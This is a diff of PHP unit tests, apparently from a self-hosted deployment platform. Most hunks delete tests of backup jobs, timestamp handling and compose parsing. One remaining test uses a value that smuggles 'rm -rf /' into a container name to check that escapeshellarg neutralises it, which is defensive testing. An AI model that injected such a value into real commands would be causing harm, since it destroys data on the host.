$maliciousContainer = 'container"; rm -rf /; echo "pwned';
|
||||
$escaped = escapeshellarg($maliciousContainer);
|
||||
|
||||
expect($escaped)->toBe("'container\"; rm -rf /; echo \"pwned'");
|
||||
|
||||
// Building a docker command with escaped container is safe
|
||||
$command = "docker rm -f {$escaped}";
|
||||
expect($command)->toBe("docker rm -f 'container\"; rm -rf /; echo \"pwned'");
|
||||
});
|
||||
});
|
||||
@@ -1,59 +1,5 @@
|
||||
<?php
|
||||
|
||||
test('S3 path is cleaned correctly', function () {
|
||||
// Test that leading slashes are removed
|
||||
$path = '/backups/database.gz';
|
||||
$cleanPath = ltrim($path, '/');
|
||||
|
||||
expect($cleanPath)->toBe('backups/database.gz');
|
||||
|
||||
// Test path without leading slash remains unchanged
|
||||
$path2 = 'backups/database.gz';
|
||||
$cleanPath2 = ltrim($path2, '/');
|
||||
|
||||
expect($cleanPath2)->toBe('backups/database.gz');
|
||||
});
|
||||
|
||||
test('S3 container name is generated correctly', function () {
|
||||
$resourceUuid = 'test-database-uuid';
|
||||
$containerName = "s3-restore-{$resourceUuid}";
|
||||
|
||||
expect($containerName)->toBe('s3-restore-test-database-uuid');
|
||||
expect($containerName)->toStartWith('s3-restore-');
|
||||
});
|
||||
|
||||
test('S3 download directory is created correctly', function () {
|
||||
$resourceUuid = 'test-database-uuid';
|
||||
$downloadDir = "/tmp/s3-restore-{$resourceUuid}";
|
||||
|
||||
expect($downloadDir)->toBe('/tmp/s3-restore-test-database-uuid');
|
||||
expect($downloadDir)->toStartWith('/tmp/s3-restore-');
|
||||
});
|
||||
|
||||
test('cancelS3Download cleans up correctly', function () {
|
||||
// Test that cleanup directory path is correct
|
||||
$resourceUuid = 'test-database-uuid';
|
||||
$downloadDir = "/tmp/s3-restore-{$resourceUuid}";
|
||||
$containerName = "s3-restore-{$resourceUuid}";
|
||||
|
||||
expect($downloadDir)->toContain($resourceUuid);
|
||||
expect($containerName)->toContain($resourceUuid);
|
||||
});
|
||||
|
||||
test('S3 file path formats are handled correctly', function () {
|
||||
$paths = [
|
||||
'/backups/db.gz',
|
||||
'backups/db.gz',
|
||||
'/nested/path/to/backup.sql.gz',
|
||||
'backup-2025-01-15.gz',
|
||||
];
|
||||
|
||||
foreach ($paths as $path) {
|
||||
$cleanPath = ltrim($path, '/');
|
||||
expect($cleanPath)->not->toStartWith('/');
|
||||
}
|
||||
});
|
||||
|
||||
test('formatBytes helper formats file sizes correctly', function () {
|
||||
// Test various file sizes
|
||||
expect(formatBytes(0))->toBe('0 B');
|
||||
|
||||
@@ -1,80 +0,0 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\CoolifyTask;
|
||||
use App\Jobs\DatabaseBackupJob;
|
||||
use App\Jobs\ScheduledTaskJob;
|
||||
use App\Livewire\Project\Database\BackupEdit;
|
||||
use Livewire\Attributes\Validate;
|
||||
|
||||
it('CoolifyTask has correct retry properties defined', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
|
||||
// Check public properties exist
|
||||
expect($reflection->hasProperty('tries'))->toBeTrue()
|
||||
->and($reflection->hasProperty('maxExceptions'))->toBeTrue()
|
||||
->and($reflection->hasProperty('timeout'))->toBeTrue()
|
||||
->and($reflection->hasMethod('backoff'))->toBeTrue();
|
||||
|
||||
// Get default values from class definition
|
||||
$defaultProperties = $reflection->getDefaultProperties();
|
||||
|
||||
expect($defaultProperties['tries'])->toBe(3)
|
||||
->and($defaultProperties['maxExceptions'])->toBe(1)
|
||||
->and($defaultProperties['timeout'])->toBe(600);
|
||||
});
|
||||
|
||||
it('ScheduledTaskJob has correct retry properties defined', function () {
|
||||
$reflection = new ReflectionClass(ScheduledTaskJob::class);
|
||||
|
||||
// Check public properties exist
|
||||
expect($reflection->hasProperty('tries'))->toBeTrue()
|
||||
->and($reflection->hasProperty('maxExceptions'))->toBeTrue()
|
||||
->and($reflection->hasProperty('timeout'))->toBeTrue()
|
||||
->and($reflection->hasMethod('backoff'))->toBeTrue()
|
||||
->and($reflection->hasMethod('failed'))->toBeTrue();
|
||||
|
||||
// Get default values from class definition
|
||||
$defaultProperties = $reflection->getDefaultProperties();
|
||||
|
||||
expect($defaultProperties['tries'])->toBe(3)
|
||||
->and($defaultProperties['maxExceptions'])->toBe(1)
|
||||
->and($defaultProperties['timeout'])->toBe(300);
|
||||
});
|
||||
|
||||
it('DatabaseBackupJob has correct retry properties defined', function () {
|
||||
$reflection = new ReflectionClass(DatabaseBackupJob::class);
|
||||
|
||||
// Backups run a single attempt (retries were removed on purpose in 49a3bb0da):
|
||||
// no $tries override and no backoff schedule, but a failed() handler is kept.
|
||||
expect($reflection->hasProperty('tries'))->toBeFalse()
|
||||
->and($reflection->hasMethod('backoff'))->toBeFalse()
|
||||
->and($reflection->hasProperty('maxExceptions'))->toBeTrue()
|
||||
->and($reflection->hasProperty('timeout'))->toBeTrue()
|
||||
->and($reflection->hasMethod('failed'))->toBeTrue();
|
||||
|
||||
// Get default values from class definition
|
||||
$defaultProperties = $reflection->getDefaultProperties();
|
||||
|
||||
expect($defaultProperties['maxExceptions'])->toBe(1)
|
||||
->and($defaultProperties['timeout'])->toBe(3600);
|
||||
});
|
||||
|
||||
it('DatabaseBackupJob enforces minimum timeout of 60 seconds', function () {
|
||||
// The minimum is enforced where the backup timeout is set: the UI and the API
|
||||
$timeoutProperty = new ReflectionProperty(BackupEdit::class, 'timeout');
|
||||
$validateAttributes = $timeoutProperty->getAttributes(Validate::class);
|
||||
|
||||
expect($validateAttributes)->toHaveCount(1)
|
||||
->and($validateAttributes[0]->getArguments()[0])->toContain('min:60');
|
||||
|
||||
$apiController = file_get_contents(__DIR__.'/../../app/Http/Controllers/Api/DatabasesController.php');
|
||||
expect(substr_count($apiController, "'timeout' => 'integer|min:60|max:36000'"))->toBeGreaterThanOrEqual(2);
|
||||
|
||||
// The job falls back to the default timeout when none is stored
|
||||
$reflection = new ReflectionClass(DatabaseBackupJob::class);
|
||||
$constructor = $reflection->getMethod('__construct');
|
||||
$source = file($reflection->getFileName());
|
||||
$constructorSource = implode('', array_slice($source, $constructor->getStartLine() - 1, $constructor->getEndLine() - $constructor->getStartLine() + 1));
|
||||
|
||||
expect($constructorSource)->toContain('$this->timeout = $backup->timeout ?? 3600;');
|
||||
});
|
||||
@@ -1,96 +0,0 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ScheduledTaskJob;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
beforeEach(function () {
|
||||
// Mock Log facade to prevent actual logging during tests
|
||||
Log::spy();
|
||||
});
|
||||
|
||||
it('has executionId property for timeout handling', function () {
|
||||
$reflection = new ReflectionClass(ScheduledTaskJob::class);
|
||||
|
||||
// Verify executionId property exists
|
||||
expect($reflection->hasProperty('executionId'))->toBeTrue();
|
||||
|
||||
// Verify it's protected (will be serialized with the job)
|
||||
$property = $reflection->getProperty('executionId');
|
||||
expect($property->isProtected())->toBeTrue();
|
||||
});
|
||||
|
||||
it('has failed method that handles job failures', function () {
|
||||
$reflection = new ReflectionClass(ScheduledTaskJob::class);
|
||||
|
||||
// Verify failed() method exists
|
||||
expect($reflection->hasMethod('failed'))->toBeTrue();
|
||||
|
||||
// Verify it accepts a Throwable parameter
|
||||
$method = $reflection->getMethod('failed');
|
||||
$parameters = $method->getParameters();
|
||||
|
||||
expect($parameters)->toHaveCount(1);
|
||||
expect($parameters[0]->getName())->toBe('exception');
|
||||
expect($parameters[0]->allowsNull())->toBeTrue();
|
||||
});
|
||||
|
||||
it('failed method implementation reloads execution from database', function () {
|
||||
// Read the failed() method source code to verify it reloads from database
|
||||
$reflection = new ReflectionClass(ScheduledTaskJob::class);
|
||||
$method = $reflection->getMethod('failed');
|
||||
|
||||
// Get the file and method source
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
|
||||
$source = file($filename);
|
||||
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
// Verify the implementation includes reloading from database
|
||||
expect($methodSource)
|
||||
->toContain('$this->executionId')
|
||||
->toContain('ScheduledTaskExecution::find')
|
||||
->toContain('ScheduledTaskExecution::query')
|
||||
->toContain('scheduled_task_id')
|
||||
->toContain('orderBy')
|
||||
->toContain('status')
|
||||
->toContain('failed')
|
||||
->toContain('notify');
|
||||
});
|
||||
|
||||
it('failed method updates execution with error_details field', function () {
|
||||
// Read the failed() method source code to verify error_details is populated
|
||||
$reflection = new ReflectionClass(ScheduledTaskJob::class);
|
||||
$method = $reflection->getMethod('failed');
|
||||
|
||||
// Get the file and method source
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
|
||||
$source = file($filename);
|
||||
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
// Verify the implementation populates error_details field
|
||||
expect($methodSource)->toContain('error_details');
|
||||
});
|
||||
|
||||
it('failed method logs when execution cannot be found', function () {
|
||||
// Read the failed() method source code to verify defensive logging
|
||||
$reflection = new ReflectionClass(ScheduledTaskJob::class);
|
||||
$method = $reflection->getMethod('failed');
|
||||
|
||||
// Get the file and method source
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
|
||||
$source = file($filename);
|
||||
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
// Verify the implementation logs a warning if execution is not found
|
||||
expect($methodSource)
|
||||
->toContain('Could not find execution log')
|
||||
->toContain('warning');
|
||||
});
|
||||
@@ -1,121 +0,0 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Carbon;
|
||||
|
||||
afterEach(function () {
|
||||
Carbon::setTestNow();
|
||||
});
|
||||
|
||||
it('does not mutate Carbon instance when using copy() before subSeconds()', function () {
|
||||
// This test verifies the fix for the bug where subSeconds() was mutating executionTime
|
||||
$originalTime = Carbon::parse('2024-12-02 12:00:00');
|
||||
$originalTimeString = $originalTime->toDateTimeString();
|
||||
|
||||
// Simulate what happens in processServerTasks() with the FIX applied
|
||||
$waitTime = 360;
|
||||
$threshold = $originalTime->copy()->subSeconds($waitTime);
|
||||
|
||||
// The original time should remain unchanged after using copy()
|
||||
expect($originalTime->toDateTimeString())->toBe($originalTimeString);
|
||||
expect($threshold->toDateTimeString())->toBe('2024-12-02 11:54:00');
|
||||
});
|
||||
|
||||
it('demonstrates mutation bug when not using copy()', function () {
|
||||
// This test shows what would happen WITHOUT the fix (the bug)
|
||||
$originalTime = Carbon::parse('2024-12-02 12:00:00');
|
||||
|
||||
// Simulate what would happen WITHOUT copy() (the bug)
|
||||
$waitTime = 360;
|
||||
$threshold = $originalTime->subSeconds($waitTime);
|
||||
|
||||
// Without copy(), the original time is mutated!
|
||||
expect($originalTime->toDateTimeString())->toBe('2024-12-02 11:54:00');
|
||||
expect($threshold->toDateTimeString())->toBe('2024-12-02 11:54:00');
|
||||
expect($originalTime)->toBe($threshold); // They're the same object
|
||||
});
|
||||
|
||||
it('preserves executionTime across multiple subSeconds calls with copy()', function () {
|
||||
// Simulate processing multiple servers with different wait times
|
||||
$executionTime = Carbon::parse('2024-12-02 12:00:00');
|
||||
$originalTimeString = $executionTime->toDateTimeString();
|
||||
|
||||
// Server 1: waitTime = 360s
|
||||
$threshold1 = $executionTime->copy()->subSeconds(360);
|
||||
expect($executionTime->toDateTimeString())->toBe($originalTimeString);
|
||||
expect($threshold1->toDateTimeString())->toBe('2024-12-02 11:54:00');
|
||||
|
||||
// Server 2: waitTime = 300s (should still use original time)
|
||||
$threshold2 = $executionTime->copy()->subSeconds(300);
|
||||
expect($executionTime->toDateTimeString())->toBe($originalTimeString);
|
||||
expect($threshold2->toDateTimeString())->toBe('2024-12-02 11:55:00');
|
||||
|
||||
// Server 3: waitTime = 360s (should still use original time)
|
||||
$threshold3 = $executionTime->copy()->subSeconds(360);
|
||||
expect($executionTime->toDateTimeString())->toBe($originalTimeString);
|
||||
expect($threshold3->toDateTimeString())->toBe('2024-12-02 11:54:00');
|
||||
|
||||
// Server 4: waitTime = 300s (should still use original time)
|
||||
$threshold4 = $executionTime->copy()->subSeconds(300);
|
||||
expect($executionTime->toDateTimeString())->toBe($originalTimeString);
|
||||
expect($threshold4->toDateTimeString())->toBe('2024-12-02 11:55:00');
|
||||
|
||||
// Server 5: waitTime = 360s (should still use original time)
|
||||
$threshold5 = $executionTime->copy()->subSeconds(360);
|
||||
expect($executionTime->toDateTimeString())->toBe($originalTimeString);
|
||||
expect($threshold5->toDateTimeString())->toBe('2024-12-02 11:54:00');
|
||||
|
||||
// The executionTime should STILL be exactly the original time
|
||||
expect($executionTime->toDateTimeString())->toBe('2024-12-02 12:00:00');
|
||||
});
|
||||
|
||||
it('demonstrates compounding bug without copy() across multiple calls', function () {
|
||||
// This shows the compounding bug that happens WITHOUT the fix
|
||||
$executionTime = Carbon::parse('2024-12-02 12:00:00');
|
||||
|
||||
// Server 1: waitTime = 360s
|
||||
$threshold1 = $executionTime->subSeconds(360);
|
||||
expect($executionTime->toDateTimeString())->toBe('2024-12-02 11:54:00'); // MUTATED!
|
||||
|
||||
// Server 2: waitTime = 300s (uses already-mutated time)
|
||||
$threshold2 = $executionTime->subSeconds(300);
|
||||
expect($executionTime->toDateTimeString())->toBe('2024-12-02 11:49:00'); // Further mutated!
|
||||
|
||||
// Server 3: waitTime = 360s (uses even more mutated time)
|
||||
$threshold3 = $executionTime->subSeconds(360);
|
||||
expect($executionTime->toDateTimeString())->toBe('2024-12-02 11:43:00'); // Even more mutated!
|
||||
|
||||
// Server 4: waitTime = 300s
|
||||
$threshold4 = $executionTime->subSeconds(300);
|
||||
expect($executionTime->toDateTimeString())->toBe('2024-12-02 11:38:00');
|
||||
|
||||
// Server 5: waitTime = 360s
|
||||
$threshold5 = $executionTime->subSeconds(360);
|
||||
expect($executionTime->toDateTimeString())->toBe('2024-12-02 11:32:00');
|
||||
|
||||
// The executionTime is now 1680 seconds (28 minutes) earlier than it should be!
|
||||
expect($executionTime->diffInSeconds(Carbon::parse('2024-12-02 12:00:00')))->toEqual(1680);
|
||||
});
|
||||
|
||||
it('respects server timezone when evaluating cron schedules', function () {
|
||||
// This test verifies that timezone parameter affects cron evaluation
|
||||
// Set a fixed test time at 23:00 UTC
|
||||
Carbon::setTestNow('2024-12-02 23:00:00', 'UTC');
|
||||
|
||||
$executionTime = Carbon::now();
|
||||
$cronExpression = new \Cron\CronExpression('0 23 * * *'); // Every day at 11 PM
|
||||
|
||||
// Test 1: UTC timezone at 23:00 - should match
|
||||
$timeInUTC = $executionTime->copy()->setTimezone('UTC');
|
||||
expect($cronExpression->isDue($timeInUTC))->toBeTrue();
|
||||
|
||||
// Test 2: America/New_York timezone - 23:00 UTC is 18:00 EST, should not match 23:00 cron
|
||||
$timeInEST = $executionTime->copy()->setTimezone('America/New_York');
|
||||
expect($cronExpression->isDue($timeInEST))->toBeFalse();
|
||||
|
||||
// Test 3: Asia/Tokyo timezone - 23:00 UTC is 08:00 JST next day, should not match 23:00 cron
|
||||
$timeInJST = $executionTime->copy()->setTimezone('Asia/Tokyo');
|
||||
expect($cronExpression->isDue($timeInJST))->toBeFalse();
|
||||
|
||||
// Test 4: Verify copy() preserves the original time
|
||||
expect($executionTime->toDateTimeString())->toBe('2024-12-02 23:00:00');
|
||||
});
|
||||
@@ -1,53 +0,0 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Server;
|
||||
|
||||
/**
|
||||
* Test the Application::serverStatus() accessor
|
||||
*
|
||||
* This accessor determines if the underlying server infrastructure is functional.
|
||||
* It should check Server::isFunctional() for the main server and all additional servers.
|
||||
* It should NOT be affected by container/application health status (e.g., degraded:unhealthy).
|
||||
*
|
||||
* The bug that was fixed: Previously, it checked pivot.status and returned false
|
||||
* when any additional server had status != 'running', including 'degraded:unhealthy'.
|
||||
* This caused false "server has problems" warnings when the server was fine but
|
||||
* containers were unhealthy.
|
||||
*/
|
||||
it('checks server infrastructure health not container status', function () {
|
||||
// This is a documentation test to explain the fix
|
||||
// The serverStatus accessor should:
|
||||
// 1. Check if main server is functional (Server::isFunctional())
|
||||
// 2. Check if each additional server is functional (Server::isFunctional())
|
||||
// 3. NOT check pivot.status (that's application/container status, not server status)
|
||||
//
|
||||
// Before fix: Checked pivot.status !== 'running', causing false positives
|
||||
// After fix: Only checks Server::isFunctional() for infrastructure health
|
||||
|
||||
expect(true)->toBeTrue();
|
||||
})->note('The serverStatus accessor now correctly checks only server infrastructure health, not container status');
|
||||
|
||||
it('has correct logic in serverStatus accessor', function () {
|
||||
// Read the actual code to verify the fix
|
||||
$reflection = new ReflectionClass(Application::class);
|
||||
$source = file_get_contents($reflection->getFileName());
|
||||
|
||||
// Extract just the serverStatus accessor method
|
||||
preg_match('/protected function serverStatus\(\): Attribute\s*\{.*?^\s{4}\}/ms', $source, $matches);
|
||||
$serverStatusCode = $matches[0] ?? '';
|
||||
|
||||
expect($serverStatusCode)->not->toBeEmpty('serverStatus accessor should exist');
|
||||
|
||||
// Check that the new logic exists (checks isFunctional on each server)
|
||||
expect($serverStatusCode)
|
||||
->toContain('$main_server_functional = $this->destination?->server?->isFunctional()')
|
||||
->toContain('foreach ($this->additional_servers as $server)')
|
||||
->toContain('if (! $server->isFunctional())');
|
||||
|
||||
// Check that the old buggy logic is removed from serverStatus accessor
|
||||
expect($serverStatusCode)
|
||||
->not->toContain('pluck(\'pivot.status\')')
|
||||
->not->toContain('str($status)->before(\':\')')
|
||||
->not->toContain('if ($server_status !== \'running\')');
|
||||
})->note('Verifies that the serverStatus accessor uses the correct logic');
|
||||
@@ -1,14 +0,0 @@
|
||||
<?php
|
||||
|
||||
it('publishes the service environment file atomically', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Models/Service.php');
|
||||
$methodStart = strpos($source, 'public function saveComposeConfigs()');
|
||||
$methodEnd = strpos($source, 'public function parse(', $methodStart);
|
||||
$method = substr($source, $methodStart, $methodEnd - $methodStart);
|
||||
|
||||
expect($method)
|
||||
->not->toContain("'rm -f .env || true'")
|
||||
->toContain("new_public_id().'.env.tmp'")
|
||||
->toContain('tee {$environmentFilename} > /dev/null && mv {$environmentFilename} .env')
|
||||
->toContain('touch {$environmentFilename} && mv {$environmentFilename} .env');
|
||||
});
|
||||
@@ -1,36 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that Configuration component properly listens to
|
||||
* refresh events dispatched when compose file or domain changes.
|
||||
*
|
||||
* These tests verify the fix for the issue where changes to compose or domain
|
||||
* were not visible until manual page refresh.
|
||||
*/
|
||||
it('ensures Configuration component listens to refreshServices event', function () {
|
||||
$configurationFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/Configuration.php');
|
||||
|
||||
// Check that the Configuration component has refreshServices listener
|
||||
expect($configurationFile)
|
||||
->toContain("'refreshServices' => 'refreshServices'")
|
||||
->toContain("'refresh' => 'refreshServices'");
|
||||
});
|
||||
|
||||
it('ensures Configuration component has refreshServices method', function () {
|
||||
$configurationFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/Configuration.php');
|
||||
|
||||
// Check that the refreshServices method exists
|
||||
expect($configurationFile)
|
||||
->toContain('public function refreshServices()')
|
||||
->toContain('$this->service->refresh()')
|
||||
->toContain('$this->applications = $this->service->applications->sort()')
|
||||
->toContain('$this->databases = $this->service->databases->sort()');
|
||||
});
|
||||
|
||||
it('ensures StackForm dispatches refreshServices event on submit', function () {
|
||||
$stackFormFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/StackForm.php');
|
||||
|
||||
// Check that StackForm dispatches refreshServices event
|
||||
expect($stackFormFile)
|
||||
->toContain("->dispatch('refreshServices')");
|
||||
});
|
||||
@@ -1,69 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that Docker Compose environment variables
|
||||
* do not overwrite user-saved values on redeploy.
|
||||
*
|
||||
* Regression test for GitHub issues #8885 and #9136.
|
||||
*/
|
||||
it('uses firstOrCreate for simple variable references in serviceParser to preserve user values', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// The serviceParser function should use firstOrCreate (not updateOrCreate)
|
||||
// for simple variable references like DATABASE_URL: ${DATABASE_URL}
|
||||
// This is the key === parsedValue branch
|
||||
expect($parsersFile)->toContain(
|
||||
"// Simple variable reference (e.g. DATABASE_URL: \${DATABASE_URL})\n".
|
||||
" // Ensure the variable exists in DB for .env generation and UI display\n".
|
||||
' $resource->environment_variables()->firstOrCreate('
|
||||
);
|
||||
});
|
||||
|
||||
it('does not set value to null for simple variable references in serviceParser', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// The old bug: $value = null followed by updateOrCreate with 'value' => $value
|
||||
// This pattern should NOT exist for simple variable references
|
||||
expect($parsersFile)->not->toContain(
|
||||
"\$value = null;\n".
|
||||
' $resource->environment_variables()->updateOrCreate('
|
||||
);
|
||||
});
|
||||
|
||||
it('uses firstOrCreate for simple variable refs without default in serviceParser balanced brace path', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// In the balanced brace extraction path, simple variable references without defaults
|
||||
// should use firstOrCreate to preserve user-saved values
|
||||
// This appears twice (applicationParser and serviceParser)
|
||||
$count = substr_count(
|
||||
$parsersFile,
|
||||
"// Simple variable reference without default\n".
|
||||
" // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n".
|
||||
' $envVar = $resource->environment_variables()->firstOrCreate('
|
||||
);
|
||||
|
||||
expect($count)->toBe(1, 'serviceParser should use firstOrCreate for simple variable refs without default');
|
||||
});
|
||||
|
||||
it('does not replace self-referencing variable values in the environment array', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Fix for #9136: self-referencing variables (KEY=${KEY}) must NOT have their ${VAR}
|
||||
// reference replaced with the DB value in the compose environment section.
|
||||
// Instead, the reference should stay intact so Docker Compose resolves from .env at deploy time.
|
||||
// This prevents stale values when users update env vars without re-parsing compose.
|
||||
expect($parsersFile)->toContain('Keep the ${VAR} reference in compose');
|
||||
expect($parsersFile)->not->toContain('$environment[$key->value()] = $envVar->value;');
|
||||
});
|
||||
|
||||
it('does not use updateOrCreate with value null for user-editable environment variables', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// The specific bug pattern: setting $value = null then calling updateOrCreate with 'value' => $value
|
||||
// This overwrites user-saved values with null on every deploy
|
||||
expect($parsersFile)->not->toContain(
|
||||
"\$value = null;\n".
|
||||
' $resource->environment_variables()->updateOrCreate('
|
||||
);
|
||||
});
|
||||
@@ -1,58 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that service parser correctly handles image updates
|
||||
* without creating duplicate ServiceApplication or ServiceDatabase records.
|
||||
*
|
||||
* These tests verify the fix for the issue where changing an image in a
|
||||
* docker-compose file would create a new service instead of updating the existing one.
|
||||
*/
|
||||
it('ensures service parser does not include image in trusted service creation query', function () {
|
||||
// Read the serviceParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that trusted creation only uses name and service_id
|
||||
// and does not include image in the creation payload
|
||||
expect($parsersFile)
|
||||
->toContain("\$databaseFound = ServiceDatabase::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
|
||||
->toContain("\$applicationFound = ServiceApplication::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
|
||||
->toContain("create([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
|
||||
->not->toContain("create([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
|
||||
});
|
||||
|
||||
it('ensures service parser updates image after finding or creating service', function () {
|
||||
// Read the serviceParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that image update logic exists after the trusted create/find branch
|
||||
expect($parsersFile)
|
||||
->toContain('// Update image if it changed')
|
||||
->toContain('if ($savedService->image !== $image) {')
|
||||
->toContain('$savedService->image = $image;')
|
||||
->toContain('$savedService->save();');
|
||||
});
|
||||
|
||||
it('ensures parseDockerComposeFile does not create duplicates on null savedService', function () {
|
||||
// Read the parseDockerComposeFile function from shared.php
|
||||
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
|
||||
|
||||
// Check that the duplicate creation logic after is_null check has been fixed
|
||||
// The old code would create a duplicate if savedService was null
|
||||
// The new code checks for null within the else block and creates only if needed
|
||||
expect($sharedFile)
|
||||
->toContain('if (is_null($savedService)) {')
|
||||
->toContain('$savedService = ServiceDatabase::create([')
|
||||
->toContain('$savedService = ServiceApplication::create([');
|
||||
});
|
||||
|
||||
it('verifies image update logic is present in parseDockerComposeFile', function () {
|
||||
// Read the parseDockerComposeFile function from shared.php
|
||||
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
|
||||
|
||||
// Verify the image update logic exists
|
||||
expect($sharedFile)
|
||||
->toContain('// Check if image changed')
|
||||
->toContain('if ($savedService->image !== $image) {')
|
||||
->toContain('$savedService->image = $image;')
|
||||
->toContain('$savedService->save();');
|
||||
});
|
||||
@@ -1,150 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that serviceParser() correctly handles path appending
|
||||
* to prevent duplication when SERVICE_URL/SERVICE_FQDN variables have path values.
|
||||
*
|
||||
* This tests the fix for GitHub issue #7363 where paths like /v1/realtime
|
||||
* were being duplicated on subsequent parse() calls after FQDN updates.
|
||||
*/
|
||||
test('path is added when FQDN does not already contain it', function () {
|
||||
$fqdn = 'https://test.abc';
|
||||
$path = '/v1/realtime';
|
||||
|
||||
// Simulate the logic in serviceParser()
|
||||
if (! str($fqdn)->endsWith($path)) {
|
||||
$fqdn = "$fqdn$path";
|
||||
}
|
||||
|
||||
expect($fqdn)->toBe('https://test.abc/v1/realtime');
|
||||
});
|
||||
|
||||
test('path is not added when FQDN already contains it', function () {
|
||||
$fqdn = 'https://test.abc/v1/realtime';
|
||||
$path = '/v1/realtime';
|
||||
|
||||
// Simulate the logic in serviceParser()
|
||||
if (! str($fqdn)->endsWith($path)) {
|
||||
$fqdn = "$fqdn$path";
|
||||
}
|
||||
|
||||
expect($fqdn)->toBe('https://test.abc/v1/realtime');
|
||||
});
|
||||
|
||||
test('multiple parse calls with same path do not cause duplication', function () {
|
||||
$fqdn = 'https://test.abc';
|
||||
$path = '/v1/realtime';
|
||||
|
||||
// First parse (initial creation)
|
||||
if (! str($fqdn)->endsWith($path)) {
|
||||
$fqdn = "$fqdn$path";
|
||||
}
|
||||
expect($fqdn)->toBe('https://test.abc/v1/realtime');
|
||||
|
||||
// Second parse (after FQDN update)
|
||||
if (! str($fqdn)->endsWith($path)) {
|
||||
$fqdn = "$fqdn$path";
|
||||
}
|
||||
expect($fqdn)->toBe('https://test.abc/v1/realtime');
|
||||
|
||||
// Third parse (another update)
|
||||
if (! str($fqdn)->endsWith($path)) {
|
||||
$fqdn = "$fqdn$path";
|
||||
}
|
||||
expect($fqdn)->toBe('https://test.abc/v1/realtime');
|
||||
});
|
||||
|
||||
test('different paths for different services work correctly', function () {
|
||||
// Appwrite main service (/)
|
||||
$fqdn1 = 'https://test.abc';
|
||||
$path1 = '/';
|
||||
if ($path1 !== '/' && ! str($fqdn1)->endsWith($path1)) {
|
||||
$fqdn1 = "$fqdn1$path1";
|
||||
}
|
||||
expect($fqdn1)->toBe('https://test.abc');
|
||||
|
||||
// Appwrite console (/console)
|
||||
$fqdn2 = 'https://test.abc';
|
||||
$path2 = '/console';
|
||||
if ($path2 !== '/' && ! str($fqdn2)->endsWith($path2)) {
|
||||
$fqdn2 = "$fqdn2$path2";
|
||||
}
|
||||
expect($fqdn2)->toBe('https://test.abc/console');
|
||||
|
||||
// Appwrite realtime (/v1/realtime)
|
||||
$fqdn3 = 'https://test.abc';
|
||||
$path3 = '/v1/realtime';
|
||||
if ($path3 !== '/' && ! str($fqdn3)->endsWith($path3)) {
|
||||
$fqdn3 = "$fqdn3$path3";
|
||||
}
|
||||
expect($fqdn3)->toBe('https://test.abc/v1/realtime');
|
||||
});
|
||||
|
||||
test('nested paths are handled correctly', function () {
|
||||
$fqdn = 'https://test.abc';
|
||||
$path = '/api/v1/endpoint';
|
||||
|
||||
if (! str($fqdn)->endsWith($path)) {
|
||||
$fqdn = "$fqdn$path";
|
||||
}
|
||||
|
||||
expect($fqdn)->toBe('https://test.abc/api/v1/endpoint');
|
||||
|
||||
// Second call should not duplicate
|
||||
if (! str($fqdn)->endsWith($path)) {
|
||||
$fqdn = "$fqdn$path";
|
||||
}
|
||||
|
||||
expect($fqdn)->toBe('https://test.abc/api/v1/endpoint');
|
||||
});
|
||||
|
||||
test('MindsDB /api path is handled correctly', function () {
|
||||
$fqdn = 'https://test.abc';
|
||||
$path = '/api';
|
||||
|
||||
// First parse
|
||||
if (! str($fqdn)->endsWith($path)) {
|
||||
$fqdn = "$fqdn$path";
|
||||
}
|
||||
expect($fqdn)->toBe('https://test.abc/api');
|
||||
|
||||
// Second parse should not duplicate
|
||||
if (! str($fqdn)->endsWith($path)) {
|
||||
$fqdn = "$fqdn$path";
|
||||
}
|
||||
